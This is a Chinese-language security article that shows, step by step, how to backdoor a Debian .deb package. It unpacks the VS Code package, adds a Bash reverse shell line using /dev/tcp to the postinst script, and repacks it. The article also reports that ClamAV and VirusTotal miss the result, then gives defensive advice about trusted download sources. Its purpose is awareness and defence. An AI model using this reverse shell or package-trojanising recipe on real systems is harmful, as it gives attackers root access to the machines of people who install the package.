核心要点
- DEB 软件包可能隐藏后门程序,当使用 root 权限安装时,攻击者可能会将恶意代码注入系统。
- 受感染的 DEB 软件包很难检测,因为防病毒软件或 VirusTotal 等云服务可能不会将其标记为恶意。
- 为了保护自己,请避免从不安全的网站下载 DEB 软件包,坚持使用官方下载站点或社区信任的站点。同时,考虑安装安全工具来保护 Linux 系统免受网络攻击。
DEB 文件是一种软件包,是基于 Debian 的 Linux 发行版上发布软件的主要形式。
安装 DEB 软件包时,通常需要使用具有 root 权限的软件包管理器,例如 dpkg。攻击者利用这一点,将后门程序注入到这些软件包中。当您使用 dpkg 或其他软件包管理器安装这些恶意软件包时,恶意代码也会被执行,从而危害您的系统安全。
接下来,我们将深入探讨 DEB 软件包是如何被植入后门的,以及您可以采取哪些措施来保护自己。
DEB 软件包是如何被植入后门的?
在了解 DEB 包如何被植入后门之前,让我们先来看看 DEB 包的内部结构。为了演示,我将从微软官方网站下载 Microsoft Visual Studio Code 的 DEB 包。如果您想在 Linux 上安装 VS Code,通常需要下载此包。
下载地址: Visual Studio Code
现在已经下载了目标包,接下来是解压它。可以使用 dpkg-deb 命令并使用 -R 标志以及存储解压内容的路径来解压 DEB 包:
dpkg-deb -R <package_name> <path>
这会将 VS Code 包的内容提取出来。
进入该文件夹,会看到多个目录,我们感兴趣的主要是 DEBIAN 目录。该目录包含在安装过程中以 root 权限执行的维护脚本。攻击者通常会修改这个目录中的脚本。
为了演示,我将修改 postinst 脚本,并添加一个简单的 Bash 反向 TCP shell。顾名思义,这个脚本是在系统上安装软件包后执行的。
它包含完成配置的命令,例如设置符号链接、处理依赖项等。可以在互联网上找到许多不同的反向 shell。它们中的大多数工作方式相似。这是一个反向 shell 的单行示例:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
命令解释:
- bash: 调用 Bash shell 的命令。
- -i: 告诉 Bash 以交互模式运行,允许实时命令 I/O。
- >& /dev/tcp/ip/port: 将标准输出和标准错误重定向到网络套接字,本质上是建立到 <ip> 和 <port> 的 TCP 连接。
- 0>&1: 将输入和输出重定向到同一位置,即网络套接字。
对于不熟悉的人来说,反向 shell 是一种代码,当在目标计算机上执行时,它会启动与攻击者计算机的连接。反向 shell 是一种绕过防火墙限制的好方法,因为流量是从防火墙后面的计算机生成的。
修改后的脚本如下:
正如您看到的,所有内容都保持不变,只是添加了一行,即我们的 Bash 反向 shell。现在需要将文件重新打包为 “.deb” 格式。只需使用 dpkg 命令的 –build 标志,或使用 dpkg-deb 的 -b 标志,后跟提取内容的路径即可:
dpkg --build <directory>
dpkg-deb -b <directory>
现在,包含后门的 DEB 软件包已准备就绪,可以发送到恶意站点。让我们模拟一个场景,受害者已经从网站上下载了该 DEB 包,并像其他普通软件包一样安装它。
顶部终端窗格代表受害者的视角,底部终端窗格代表攻击者的视角。受害者正在使用 sudo dpkg -i 安装软件包,而攻击者正在使用 netcat 命令监听传入连接。
安装完成后,请注意,攻击者已经获得了反向 shell 连接,并且现在可以 root 访问受害者的系统。 现在您了解了 DEB 软件包是如何被植入后门的。接下来,我们讨论如何保护自己。
如何检测 DEB 软件包是否是恶意的?
既然您已经了解受感染的 DEB 软件包确实存在,您一定会想知道如何检测它们。首先,您可以尝试使用 Linux 防病毒软件,例如 ClamAV。不幸的是,当使用 ClamAV 扫描软件包时,它不会将其标记为恶意。以下是扫描结果:
因此,除非您拥有高级防病毒解决方案(即使这样也不能保证您不会被黑客攻击),否则很难检测到恶意的 DEB 软件包。我们再尝试使用 VirusTotal 这样的云服务:
如您所见,VirusTotal 没有检测到任何问题。因此,保护自己免受此类威胁的唯一方法是遵循基本的安全原则,例如不要从未知来源下载文件,始终检查文件的哈希值,以及避免安装可疑软件。
互联网上充斥着各种威胁。安全上网的唯一方法是保持警惕,只浏览信任的网站。此外,对于 Linux,您应该尽可能查找您所下载软件的 AppImage 版本,因为它们是独立的,可以进行沙盒化,从而将其与您的系统隔离。
不要从随机站点下载 DEB 软件包!
DEB 软件包本身并没有错,但是,攻击者可以轻易地将其武器化,并发送给毫无戒心的用户。如上文演示,DEB 包可以轻松打开和修改,只需几个命令即可添加自定义代码,使其成为传播恶意软件的常用手段。
即使是 DEB 软件包上的简单后门,也可能无法被顶级的防病毒解决方案检测到。因此,最佳实践是确保安全,上网时保持警惕,并且只从官方下载站点或社区信任的站点下载软件。
现在您应该已经意识到从新网站或未知网站安装 DEB 软件包所带来的安全风险,因此在安装新软件时应该小心谨慎。然而,仅仅注意安装的内容是不够的。您的 Linux 系统也可能成为网络攻击的目标。
为了确保您的系统在遭受网络攻击时的安全,您应该考虑安装网络安全工具。